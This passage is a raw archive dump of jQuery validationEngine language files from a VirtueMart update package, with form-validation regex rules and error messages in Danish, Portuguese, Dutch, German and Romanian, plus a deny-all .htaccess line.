}, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Ikke gyldig e-mail" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Ikke et korrekt tal" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Ugyldig decimaltal" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Ugyldig dato, skal være i formatet ÅÅÅÅ-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Ugyldig IP adresse" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Ugyldig URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Kun tal" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Kun bogstaver" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Ingen specialtegn tilladt" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Denne bruger er allerede taget", "alertTextLoad": "* Kontrollere, vent venligst" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Dette navn er allerede taget", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Dette navn er ledig", // speaks by itself "alertTextLoad": "* Kontrollere, vent venligst" }, "validate2fields": { "alertText": "* Indsæt venligst HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKtl>\acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-pt.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Campo obrigatório", "alertTextCheckboxMultiple": "* Selecione uma opção", "alertTextCheckboxe": "* Campo obrigatório" }, "minSize": { "regex": "none", "alertText": "* Mínimo ", "alertText2": " carateres permitidos" }, "maxSize": { "regex": "none", "alertText": "* Máximo ", "alertText2": " carateres permitidos" }, "min": { "regex": "none", "alertText": "* O valor mínimo é " }, "max": { "regex": "none", "alertText": "* O valor máximo é " }, "past": { "regex": "none", "alertText": "* Data anterior a " }, "future": { "regex": "none", "alertText": "* Data posterior a " }, "maxCheckbox": { "regex": "none", "alertText": "* Foi ultrapassado o número máximo de escolhas" }, "minCheckbox": { "regex": "none", "alertText": "* Selecione ", "alertText2": " opções" }, "equals": { "regex": "none", "alertText": "* Os campos não correspondem" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Número de telefone inválido" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Endereço de email inválido" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Não é um número inteiro" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Não é um número decimal" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Data inválida, o formato deve de ser AAAA-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Número IP inválido" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL inválido" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Só é permitido números" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Só é permitido letras" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Só é permitido letras e números" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Nome de utilizador não disponível", "alertTextLoad": "* A validar, por favor aguarde" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Nome não disponível", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Nome disponível", // speaks by itself "alertTextLoad": "* A validar, por favor aguarde" }, "validate2fields": { "alertText": "* Escreva HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKtl>\.;3acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-nl.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "geen", "alertText": "* Dit veld is verplicht", "alertTextCheckboxMultiple": "* Selecteer a.u.b. een optie", "alertTextCheckboxe": "* Dit selectievakje is verplicht" }, "minSize": { "regex": "none", "alertText": "* Minimaal ", "alertText2": " karakters toegestaan" }, "maxSize": { "regex": "none", "alertText": "* Maximaal ", "alertText2": " karakters toegestaan" }, "min": { "regex": "none", "alertText": "* Minimale waarde is " }, "max": { "regex": "none", "alertText": "* Maximale waarde is " }, "past": { "regex": "none", "alertText": "* Datum voorafgaand aan " }, "future": { "regex": "none", "alertText": "* Datum na " }, "maxCheckbox": { "regex": "none", "alertText": "* Toegestane aantal vinkjes overschreden" }, "minCheckbox": { "regex": "none", "alertText": "* Selecteer a.u.b. ", "alertText2": " opties" }, "equals": { "regex": "none", "alertText": "* Velden komen niet overeen" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Ongeldig telefoonnummer" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Ongeldig e-mailadres" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Ongeldig geheel getal" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Ongeldig drijvende comma getal" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Ongeldige datum, formaat moet JJJJ-MM-DD zijn" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Ongeldig IP-adres" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Ongeldige URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Alleen cijfers" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Alleen leestekens" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Geen vreemde tekens toegestaan" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Deze gebruiker bestaat al", "alertTextLoad": "* Bezig met valideren, even geduld aub" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Deze naam bestaat al", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Deze naam is beschikbaar", // speaks by itself "alertTextLoad": "* Bezig met valideren, even geduld aub" }, "validate2fields": { "alertText": "* Voer aub HELLO in" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKtl>\Tacom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-de.jsnuW+A (function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Dieses Feld ist ein Pflichtfeld", "alertTextCheckboxMultiple": "* Bitte wählen Sie eine Option", "alertTextCheckboxe": "* Dieses Feld ist ein Pflichtfeld" }, "minSize": { "regex": "none", "alertText": "* Mindestens ", "alertText2": " Zeichen benötigt" }, "maxSize": { "regex": "none", "alertText": "* Maximal ", "alertText2": " Zeichen erlaubt" }, "min": { "regex": "none", "alertText": "* Mindeswert ist " }, "max": { "regex": "none", "alertText": "* Maximalwert ist " }, "past": { "regex": "none", "alertText": "* Datum vor " }, "future": { "regex": "none", "alertText": "* Datum nach " }, "maxCheckbox": { "regex": "none", "alertText": "* Maximale Anzahl Markierungen überschritten" }, "minCheckbox": { "regex": "none", "alertText": "* Bitte wählen Sie ", "alertText2": " Optionen" }, "equals": { "regex": "none", "alertText": "* Felder stimmen nicht überein" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Ungültige Telefonnummer" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Ungültige E-Mail Adresse" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Keine gültige Ganzzahl" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Keine gültige Fließkommazahl" }, "date": { // Date in ISO format. Credit: bassistance "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Ungültiges Datumsformat, erwartet wird das Format JJJJ-MM-TT" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Ungültige IP Adresse" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Ungültige URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Nur Zahlen erlaubt" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Nur Buchstaben erlaubt" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Keine Sonderzeichen erlaubt" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Dieser Benutzer ist bereits vergeben", "alertTextLoad": "* Überprüfe Angaben, bitte warten" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Dieser Name ist bereits vergeben", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Dieser Name ist verfügbar", // speaks by itself "alertTextLoad": "* Überprüfe Angaben, bitte warten" }, "validate2fields": { "alertText": "* Bitte HELLO eingeben" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKtl>\)Mcom_virtuemart_update/components/com_virtuemart/assets/js/languages/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Etacom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-ro.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Acest camp este obligatoriu", "alertTextCheckboxMultiple": "* Selectati o optiune", "alertTextCheckboxe": "* Aceasta optiune este obligatorie" }, "minSize": { "regex": "none", "alertText": "* Minim ", "alertText2": " caractere permise" }, "maxSize": { "regex": "none", "alertText": "* Maxim ", "alertText2": " caractere permise" }, "min": { "regex": "none", "alertText": "* Valoarea minima este " }, "max": { "regex": "none", "alertText": "* Valoarea maxima este " }, "past": { "regex": "none", "alertText": "* Data inainte de " }, "future": { "regex": "none", "alertText": "* Data dupa " }, "maxCheckbox": { "regex": "none", "alertText": "* Limita maxima de optiuni a fost depasita" }, "minCheckbox": { "regex": "none", "alertText": "* Selectati cel putin ", "alertText2": " optiuni" }, "equals": { "regex": "none", "alertText": "* Campurile nu coincid" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Numar de telefon eronat" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": 